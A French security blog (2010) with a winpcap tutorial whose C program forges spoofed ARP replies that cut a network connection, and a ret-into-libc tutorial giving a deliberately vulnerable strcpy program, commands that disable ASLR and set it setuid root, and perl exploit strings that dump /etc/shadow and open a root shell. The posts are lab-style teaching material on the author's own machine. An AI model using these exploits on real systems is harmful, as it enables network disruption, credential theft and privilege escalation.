mercredi 24 février 2010

Joujou avec winpcap

Salut salut,

On va essayer de reprendre un rythme "normal", c'est-à-dire poster de temps en temps, et des posts intéressants de surcroit.

Ces temps-ci, j'ai peu de temps pour m'attarder sur un sujet bien précis. Donc on va parler vite fait de la lib winpcap et on va jouer un peu avec. Le site officiel du projet se trouve à l'adresse http://www.winpcap.org. Vous pouvez télécharger plusieurs trucs intéressants :


Décompressez les deux archives dans deux endroits distincts. Dans la première archive - c'est-à-dire celle contenant les fichiers pour développer - vous avez les fichiers d'en-tête à utiliser (les ".h" donc) et les fichiers lib à lier lors de la compilation + édition de lien.

Première étape : lister les interfaces disponibles (pour le fun)



Votre ordinateur possède ce qu'on appelle des interfaces réseau. Si vous avez WireShark ou un logiciel de capture de trames réseau, vous pouvez les connaître facilement. Un screenshot de mon résultat :

Nom de mes interfaces réseau


Y'en a une, je sais pas trop à quoi elle sert. Les deux autres sont, respectivement, ma clé USB Wifi et ma carte ethernet. Ma carte Wifi est morte, pour les curieux. Triste affaire.

Mais ici, on a le label, et on n'a pas spécifiquement besoin de ces informations-là. On cherche, en fait, le chemin du pilote ou adaptateur, il commence par "\Device\...".

La lib winpcap fournit une panoplie de fonctions pour gérer les packets sans se prendre la tête. En fait, à la base, je voulais tripper avec les raw sockets et protocole ARP mais on peut aller se faire douiller bien profond quand on tourne sous Windows XP. L'autre solution est d'aller sur Linux en mode root, mais je voulais trouver un moyen sous Windows quitte à plonger dans le noyau s'il le fallait. (Pour info, y'a l'article trip in da tcp/ip d'Ivanlef0u qui vaut vraiment le coup d'œil)

La fonction qui va nous permettre de récupérer les interfaces n'est autre que PacketGetAdapterNames(). Son prototype est le suivant :

#include "Packet32.h"

BOOLEAN PacketGetAdapterNames(PTSTR pStr,PULONG BufferSize);


Comme on l'aura compris, le premier argument est un pointeur vers une mémoire tampon destinée à recevoir une série de chaînes de type "PTSTR", donc pas forcément une chaîne se terminant par un null-byte.

En fait, la chaîne de sortie sera de la forme suivante :
[Chemin Interface 1][null-byte][Chemin Interface 2][null-byte][Chemin Interface 3][null-byte]...[Chemin Interface n][null-byte][null-byte][Libellé Interface 1][null-byte][Libellé Interface 2][null-byte][Libellé Interface 3][null-byte]...[Libellé Interface n][null-byte]

Pour récupérer l'information intéressante, c'est-à-dire le "chemin" de l'interface, de chaque interface réseau, il faudra boucler jusqu'à ce qu'on tombe sur deux null-bytes qui se suivent.

Enfin, le second argument, passé en entrée / sortie, correspond à la taille maximale de notre mémoire tampon passée en 1er argument, et aura en sortie la taille totale des données intéressantes.

Le code C ci-dessous énumère la liste des interfaces réseau.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"

#define NUM_ADAPTERS 10 // Nombre max d'adaptateurs réseaux

int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];

// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];

// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);

// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);

// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;

// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {

// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}

// Affichage de chaque interface
for(i = 0; i < k; i++) {
printf("%s\n", devices[i]);
}
return 0;
}

La source propre est colorée est disponible ici : http://venom630.free.fr/geo/blog/pcap/src1.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_1.rar.

Important : linkez bien le fichier Packet.lib à votre projet.

Voici le résultat que j'obtiens :

C:\[...]\c\interfaces_reseau_1\bin\Release>interfaces_reseau_1.exe
\Device\NPF_GenericDialupAdapter
\Device\NPF_{B7BB8F94-E39E-4619-BF36-A2D487560777}
\Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}


C'est déjà un bon début, dira-t-on. Maintenant, on va essayer de forger une trame à la con et la balancer sur le réseau.

Seconde étape : envoyer des packets



Pour la suite de l'article, j'utiliserai l'interface de ma clé USB Wifi, à savoir \Device\NPF_{5412E0AC-22A0-4E2D-BB2B-4A7FFC945C49}.

Pour envoyer des paquets forgés à la main avec Winpcap, il faut d'abord ouvrir l'interface via la fonction PacketOpenAdapter(), qui possède le prototype suivant :
LPADAPTER PacketOpenAdapter(PCHAR AdapterName);

La fonction prend en argument un pointeur vers le nom de notre adaptateur réseau que nous souhaitons ouvrir, et renvoie un pointeur sur une structure de type ADAPTER. On n'a pas à se soucier réellement du contenu de cette structure, et sa définition se trouve dans la documentation de Packet32.c (lien disponible en fin d'article).

Une fois notre interface ouverte, on va pouvoir s'occuper de forger un packet. Les packets, avec winpcap, sont gérés via la structure PACKET. (idem, définition disponible dans la documentation).


Pour initialiser une structure PACKET, on utilise la fonction PacketAllocatePacket() qui retourne un pointeur sur ce type de structure (elle est donc allouée dans le tas au sein de la fonction). Sa signature, tout bêtement :

LPPACKET PacketAllocatePacket(void);


Ensuite, nous allons initialiser notre packet avec une mémoire tampon correspondant, tout bonnement, aux données de notre packet. La fonction PacketInitPacket se charge de ça. Signature :

VOID PacketInitPacket(LPPACKET lpPacket,PVOID Buffer,UINT Length);


En premier argument, on fournit un pointeur sur notre structure de type PACKET. En second argument, on a les données du paquet, donc le datagramme en dur, quoi ; et en dernier argument, la taille du "Buffer" puisqu'on ne soumet pas une chaîne terminée par un octet null, mais bien un tableau de CHAR (même si Buffer est de type "PVOID", cela n'empêche rien).

Enfin, on balance notre paquet à l'interface via la fonction PacketSendPacket(). Sa signature est la suivante :

BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET pPacket,BOOLEAN Sync);


Les premiers et second arguments représentent, respectivement, un pointeur sur notre interface réseau et un pointeur sur notre packet. Le dernier argument ne nous intéresse pas, puisqu'il est généralement pris en compte dans les versions antérieures de Windows. On mettra donc TRUE.

Et pour libérer les ressources, on a PacketFreePacket() et PacketCloseAdapter(), qui ont pour prototype :

VOID PacketFreePacket(LPPACKET lpPacket);

VOID PacketCloseAdapter(LPADAPTER lpAdapter);


On a tous les éléments. On va donc faire un petit programme qui balance une réponse ARP frauduleuse à en couper la connexion. (C'est vilain, je sais)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "packet32.h"

#define NUM_ADAPTERS 10 // A changer si besoin

int main()
{
// On déclare un tableau statique des chaînes de caractères
// correspondant au "chemin" des interfaces
char devices[NUM_ADAPTERS][8192];

// Chaîne correspondant à l'adaptateur courant (celui qu'on traite)
char currDevName[8192];

// On initialise la taille des données à la taille de notre mémoire
ULONG adapterLength = sizeof(currDevName);

// Appel de la fonction
PacketGetAdapterNames(currDevName, &adapterLength);

// On déclare 3 variables.
// i correspond à l'index dans currDevName
// j correspond à la sauvegarde de i lorsqu'on change d'interface
// k correspond à un indice pour s'y retrouver dans le tableau
// devices qui contiendra les chaînes de chaque interface
unsigned int i = 1, j = 0, k = 0;

// Tant qu'on n'a pas rencontré deux null-bytes et que i soit
// inférieur à la taille des données, on boucle.
while(currDevName[i] != '\0' || currDevName[i-1] != '\0'
&& i < adapterLength) {

// On a rencontré un null-byte ? On sauvegarde tout ce qu'on
// a parcouru avant le null-byte dans notre tableau
if(currDevName[i] == '\0') {
memcpy(devices[k], currDevName + j, i + 1 - j);
k++;
j = i + 1;
}
i++;
}

// On va ouvrir notre interface
LPADAPTER lpAdapter = NULL;
lpAdapter = PacketOpenAdapter(devices[2]); // /!\ Changer 2 par l'index de votre interface
if(lpAdapter == NULL) {
printf("Error while opening the adapter. Aborting.\n");
exit(EXIT_FAILURE);
}

// Création d'un packet facilement
LPPACKET myPacket = PacketAllocatePacket();
if(myPacket == NULL) {
printf("Error while initializing the packet. Aborting.\n");
exit(EXIT_FAILURE);
}


// Construction d'une réponse ARP frauduleuse
char buff[] =
"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\x00\x12\x34\x56\x78\x9a" // Adresse MAC Source (n'importe quoi)
"\x08\x06" // "Protocole ARP"
"\x00\x01" // Hardware type = Ethernet
"\x08\x00" // Protocol type = IP
"\x06" // Hardware size = 6 (une adresse MAC fait 6 octets)
"\x04" // Protocol size = 4 (une adresse ipv4 fait 4 octets)
"\x00\x02" // On envoie une réponse

"\x00\x12\x34\x56\x78\x9a" // Adesse MAC de l'envoyeur (n'importe quoi)
"\xc0\xa8\x01\x01" // Adresse IP de l'envoyeur (on fout n'importe quoi, ici, 192.168.1.1)

"\x00\x17\x3f\xb7\x1e\x29" // Adresse MAC Destination (la mienne ici)
"\xc0\xa8\x01\x0d" // Adresse IP Destination (ici, moi : 192.168.1.3)
;

int buffLen = 42;

// On initialise notre paquet
PacketInitPacket(myPacket, buff, buffLen);

// On fait une boucle à l'infini et on le balance.
for(i = 0; i < 10; i++) {
PacketSendPacket(lpAdapter, myPacket,TRUE);
printf(".\n");
// Important si vous ne voulez pas avoir de souci. ;)
Sleep(1000);
}

// On libère les ressources
PacketFreePacket(myPacket);

// On ferme l'adaptateur
PacketCloseAdapter(lpAdapter);

return 0;
}


Source propre ici : http://venom630.free.fr/geo/blog/pcap/src2.html. Et pour ceux qui veulent le fichier projet CodeBlocks, les lib, le .h et tout le baratin compilé, http://venom630.free.fr/geo/blog/pcap/interfaces_reseau_2.rar. Toutefois, vous n'aurez peut-être pas le résultat désiré, mais une chose est sûre, les trames circuleront bien sur votre 3ème interface (si vous en avez au moins 3...).

Lorsque je lance le programme, ma connexion se coupe, et j'obtiens ça sur WireShark :

Aperçu des trames balancées manuellement sur WireShark (cliquez pour agrandir)


Et voici la tronche de mon cache arp :
C:\Documents and Settings\Geoffrey>arp -a

Interface : 192.168.1.3 --- 0x10004
Adresse Internet Adresse physique Type
192.168.1.1 00-12-34-56-78-9a dynamique


J'ai très peu de chances d'accéder à Internet avec cette connerie.

Conclusion


Envoyer des trames sur le réseau s'avère, grâce à la lib winpcap, relativement facile. On peut forger nos paquets à la main et les envoyer sans se soucier de ce qui se passe derrière, bien que ça m'intéresse en fait.

A ce que j'ai vu, autant côté sources que côté exécution, c'est que, lors d'un envoi de paquet, on passe par WriteFile() et DeviceIoControl() pour envoyer un paquet. Ca devient intéressant. Peut-être ferai-je une analyse de tout ça, qui sait ?

Autre truc qui peut être marrant : encapsulet la lib Packet en C++ de sorte à ne pas se prendre la tête lors de l'extraction du nom des interfaces réseau. Si quelqu'un a déjà fait ça, qu'il m'en fasse part par commentaire.

Références



Doc de Packet32.c : http://dog.tele.jp/winpcap/html/Packet32_8c.html

Site officiel de WireShark : http://www.wireshark.org/

Sniffer TCP with Raw Sockets, bon article de lilxam

Tutoriel : Man In The Middle par Heurs

Geo

samedi 6 février 2010

Retour à l'improviste

Hello,

Je sais pas si y'en a qui se souviennent, mais j'avais arrêté ce blog. Deux bonnes raisons de le reprendre et de laisser le wordpress aux oubliettes :

- quelqu'un m'a cassé les burnes avec une faille et avait réussi à dumper la base de données : ça venait pas de wordpress, mais de l'hébergement lui-même, pourri ;
- je me rends compte qu'avec le recul, je suis plus à l'aise sur ce blog.

Pour ceux qui s'inquiétaient - s'ils existent - ben désolé, quoi. On va pas sortir les violons, j'ai réimporté un article sur le ret into libcn, mais pour les commentaires, j'y suis pas arrivé (il faut dire que j'ai pas vraiment cherché non plus).

En gros, un aimable collaborateur, à qui j'avais promis une correction de l'article que je n'ai pas faite, m'a dit :

Je ne suis pas d'accord pour els schema de stack. Celon moi,

-> Avant overflow :

Haut de pile
+------------+
| EIP |
+------------+
| dest |
+------------+
Bas de pile

L'ors d'une ecriture, les adresses "remontent", donc, si l'on place "azerty" dans un stack, on auras
+------------+
| 00yt +
+------------+
| reza |
+------------+

D'ou,
-> Apres overflow :
Haut de pile
+------------+
| EXIT |
+------------+
| *commande |
+------------+
| SYSTEM |
+------------+
|dest(=aaa..)|
+------------+
Bas de pile


Pour ce qui est de l'adresse de la variable d'environnement, on peut constater qu'elle varie selon la longueur de av[0] :) (A vrais dire, l'environnement est un gros tas de char* coller les un aux autres, et *av[0] vient se placer juste au dessus de av[ac-1], lui même au dessus de av[ac-2] .... av[0].

Bref, pour l'adresse exacte, le calcule serais :
addr = getenv()
addr -= strlen(av[0])
addr -= ac * 4
addr += strlen(av[0])_du_programme_vulnerable
addr += ac_du_programme_vulnerable * 4

En espérant ne pas avoir dis de bêtises ^^


Pas eu le temps de vérifier. Une journée dure 24 heures...

Ah, et pour ceux qui veulent que je les lie dans la "blog roll", laissez un commentaire ou mailez-moi, je le ferai dès que possible.

Encore désolé, et c'est reparti pour un tour.

Geo

[Réimport] Ret into libc : théorie & pratique

Yosh,


Je profite de ces vacances pour publier un article sur un sujet quelconque ; celui-ci est d'ailleurs connu, puisque des camarades tels que Ghosts In The Stack et kmkz ont rédigé leur propre version.


Je précise au passage que, afin de mener à bien l'objectif que je présenterai dans l'article, j'ai eu besoin de désactiver deux sécurités : la "randomisation" des adresses mémoires, qui consiste à les rendre aléatoire à chaque exécution d'un programme donc de rendre difficile l'exploitation d'un débordement de tampon ; et la protection de la pile, lorsque gcc met en place un "canary" pour détecter les débordements. Effectivement, je suis sous un noyau 2.6.28-16-generic donc plutôt récent.


Qu'est-ce que la libc ? : Il s'agit de la bibliothèque - et je jette des pierres à ceux qui disent toujours librairie... - standard, sous linux, qui va regrouper les fonctions les plus couramment utilisées : printf(), exit(), ...


Et donc, un ret into libc, c'est...? Il s'agit d'une variante des buffer overflows, consistant à écraser EIP par une adresse correspondant à une fonction dans la libc ; d'où le nom de l'attaque.


L'idée est de faire pointer EIP, à l'épilogue de la fonction appelée, sur l'adresse system() pour qu'elle soit appelée et exécute notre commande. Notre commande, bien évidemment, correspond à un argument qui devra être déposé sur la pile. Dans mon cas, vous me trouverez peut-être incompétent, mais je n'ai pas réussi à exécuter /bin/sh. Mais rassurez-vous, un "cat /etc/shadow" a réussit, donc on va dire que ça revient au même...


Première étape : le programme vulnérable + suppression des protections de l'OS



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copy(char *buff);

int main(int argc, char **argv) {
if(argc < 2) {
printf("Utilisation : %s \n", argv[0]);
exit(EXIT_FAILURE);
}

printf("Copie en cours...\n");
copy(argv[1]);
printf("Termine !\n");
return EXIT_SUCCESS;
}

void copy(char *buff) {
char dest[50];
strcpy(dest, buff);
}


Vous remarquerez l'inutilité du programme ; néanmoins, il y a un appel vers strcpy qui ira stocker dans un tampon de 50 octets ce que nous lui soumettons. Si on soumet plus de 50 octets, ben, ça déborde !


geo@kleromy:~/bof/vuln1$ gcc -o vuln vuln.c -fno-stack-protector
geo@kleromy:~/bof/vuln1$ ./vuln
Utilisation : ./vuln
geo@kleromy:~/bof/vuln1$ ./vuln aaaaaaaaaaaaa
Copie en cours...
Termine !
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 58'`
Copie en cours...
Erreur de segmentation
geo@kleromy:~/bof/vuln1$

Au passage, on en profite pour enlever la randomisation de la pile :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# echo 0 > /proc/sys/kernel/randomize_va_space
root@kleromy:~/bof/vuln1# cat /proc/sys/kernel/randomize_va_space
0
root@kleromy:~/bof/vuln1# exit
exit
geo@kleromy:~/bof/vuln1$

Et, tant qu'à faire, faire en sorte que notre programme appartienne à root ET qu'il s'exécute avec les droits de root :


geo@kleromy:~/bof/vuln1$ sudo -s
root@kleromy:~/bof/vuln1# chown root ./vuln
root@kleromy:~/bof/vuln1# chmod +s ./vuln
root@kleromy:~/bof/vuln1# exit
exit

Maintenant, on peut commencer à préparer l'attaque puisque nous sommes dans notre cas fictif.


Seconde étape : récupérer l'adresse de l'argument de system()


Soit "cat /etc/shadow" notre chaine qu'on passera à system(). Nous allons en faire une variable d'environnement via la commande export :


geo@kleromy:~/bof/vuln1$ export commande="cat /etc/shadow"
geo@kleromy:~/bof/vuln1$

Et on va récupérer son adresse grâce au superbe outil de kmkz (par contre, l'ami, tu m'excuseras, mais je me suis permis de corriger ton programme, bien qu'il ne soit pas encore totalement efficace...) :



#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
if (argc < 2)
{
printf( " **Veuillez utiliser un ARGUMENT !!** \n");
return(0);
}

char *addr;
addr = (char *) getenv(argv[1]);

if (addr != NULL)
printf("** %s se situe à l'adresse %p **,\n",addr, addr + strlen(argv[1]) );
return(0);
}

On compile, et on exécute :


geo@kleromy:~/bof/vuln1$ ./src_bin-sh
** Veuillez utiliser un ARGUMENT !!**
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /etc/shadow se situe a l'adresse 0xbffffe55 **


Cette adresse, chez moi, est PRESQUE bonne. Donc pas totalement, mais tant qu'on a une adresse qui s'en rapproche, c'est pas plus mal !


On a l'adresse de notre argument, maintenant, on va chercher les adresse des fonctions que nous voudrons utiliser : system() et exit() - pour terminer le programme proprement.


Troisième étape : adresses de system et exit


Cette étape est relativement simple à mettre en oeuvre ; effectivement, on n'a qu'à utiliser gdb pour déboguer notre programme vuln. Si on place un breakpoint à un endroit du programme, on pourra en profiter pour récupérer les adresses des fonctions de la libc, puisqu'elles ont été chargées en mémoire.


Voici comment procéder :


geo@kleromy:~/bof/vuln1$ gdb ./vuln
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) b main
Breakpoint 1 at 0x8048472
(gdb) r
Starting program: /home/geo/bof/vuln1/vuln


Breakpoint 1, 0x08048472 in main ()
Current language: auto; currently asm
(gdb) x system
0xb7ea68b0 : 0x890cec83
(gdb) x exit
0xb7e9bb30 : 0x57e58955
(gdb) q
The program is running. Exit anyway? (y or n) n
Not confirmed.
(gdb)


Maintenant, nous avons toutes les informations pour exploiter notre ret into libc. Il ne me reste plus qu'à vous expliquer comment ça se passe.


Lorsque vous appelez en C, par exemple, la fonction printf() de la sorte : system("echo bonjour"); ; en assembleur, le code ressemblera à :


push offset LaChaineQuiContientCoucou ; offset de la chaîne contenant coucou
call printf ; appel de la fonction

Seulement voilà, comme vous le savez (je le suppose), lorsque la routine appelle une fonction, elle va empiler l'adresse de l'instruction suivante afin de revenir à la routine appelante. La pile aura donc cette tronche :


        Haut de pile
| |
+---------------------------+
| sauvegarde EIP |
+---------------------------+
| LaChaineQuiContientCoucou |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
| ... |
+---------------------------+
Bas de pile

La fonction printf() ira donc chercher ses arguments qui se trouveront en-dessous de la sauvegarde !


Pour system(), c'est pareil. Elle ira chercher son argument en-dessous de la sauvegarde d'EIP. Sauf que, voilà : dans notre attaque, notre sauvegarde d'EIP sera factice. On la remplacera par exit(), et donc, lorsque system() aura fini sa routine, pendant l'épilogue, elle dépilera l'adresse d'exit() dans EIP, et notre programme se terminera.


En résumé, voici l'état que la pile doit avoir lors de notre attaque :


        Haut de pile
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... | // L'écrasement
+---------------------------------------+
| system() -> sauvegarde EIP |
+---------------------------------------+
| exit() -> sauvegarde EIP 2 |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Effectivement, j'ai parlé de "sauvegarde EIP 2", car la fonction system() est programmée de sorte à ce qu'on l'appelle en ayant empilé la sauvegarde d'EIP. Et donc, lorsque notre débordement de tampon aura réussi et que la fonction system() sera appelée, la pile ressemblera à ça :


          Haut de pile
| |
+---------------------------------------+
| exit() -> sauvegarde EIP faux |
+---------------------------------------+
| NotreCommandeExecuteeParSystem() |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
| ... |
+---------------------------------------+
Bas de pile

Et la fonction ira chercher l'argument en-dessous de la fausse sauvegarde d'EIP, et dépilera cette fameuse sauvegarde d'EIP dans le registre du même nom... Ce qui quittera notre programme.


J'espère avoir été clair !


Maintenant, on exploite, tout bonnement, avec les adresses mémoires récupérées. Schéma d'attaque :
[ax54] [adresse system] [adresse exit] [adresse "cat /etc/shadow"]


geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x55\xfe\xff\xbf"'`
Copie en cours...
sh: /etc/shadow: Permission denied

Bon, c'est déjà ça : on n'a pas d'"Erreur de segmentation". Mais là, on nous dit que le fait d'exécuter /etc/shadow entraîne un refus d'accès. Le "cat " n'a pas été pris, c'est ça que je trouve bizarre puisqu'on a, normalement, récupéré la bonne adresse de notre chaine....


Pas de panique : ajoutez 4 - l'équivalent de la longueur de "cat " - à 0x55 pour obtenir 0x59. Et, là...


eo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
root:!:14505:0:99999:7:::
daemon:*:14354:0:99999:7:::
bin:*:14354:0:99999:7:::
sys:*:14354:0:99999:7:::
sync:*:14354:0:99999:7:::
games:*:14354:0:99999:7:::
man:*:14354:0:99999:7:::
lp:*:14354:0:99999:7:::
mail:*:14354:0:99999:7:::
news:*:14354:0:99999:7:::
uucp:*:14354:0:99999:7:::
proxy:*:14354:0:99999:7:::
www-data:*:14354:0:99999:7:::
backup:*:14354:0:99999:7:::
list:*:14354:0:99999:7:::
irc:*:14354:0:99999:7:::
gnats:*:14354:0:99999:7:::
nobody:*:14354:0:99999:7:::
libuuid:!:14354:0:99999:7:::
syslog:*:14354:0:99999:7:::
[...]
sshd:*:14506:0:99999:7:::
geo@kleromy:~/bof/vuln1$

Le contenu de /etc/shadow s'affiche.


Et curiosité amusante... :


geo@kleromy:~/bof/vuln1$ whoami
geo
geo@kleromy:~/bof/vuln1$ export commande="cat /bin/sh"
geo@kleromy:~/bof/vuln1$ ./src_bin-sh commande
**cat /bin/sh se situe a l'adresse 0xbffffe59 **,
geo@kleromy:~/bof/vuln1$ ./vuln `perl -e 'print "a" x 54 . "\xb0\x68\xea\xb7" . "\x30\xbb\xe9\xb7" . "\x59\xfe\xff\xbf"'`
Copie en cours...
# whoami
root
# exit

... C'est que, non seulement je suis obligé de mettre "cat" devant /bin/sh pour faire exécuter ma commande, mais encore : l'adresse trouvée par le programme est bonne. C'est un coup de chance, mais ça démontre bien que notre algorithme est foireux.


Mais en tout cas, l'exploitation du ret into libc a réussi.


Conclusion


Bien que nous ayons compris le principe de l'exploitation du ret into libc, vous venez de voir que l'article comporte certains points obscurs. Aussi, sachez que toute contribution par commentaire sera la bienvenue pour qui souhaite m'expliquer pourquoi commande=/bin/sh ne permet rien, ou pourquoi notre algorithme pour trouver l'adresse *exacte* de notre chaine est erroné.


Je tiens à citer les articles de Heurs et kmkz qui ont été clairs à eux deux et qui m'ont donc permis de tout comprendre.


Geo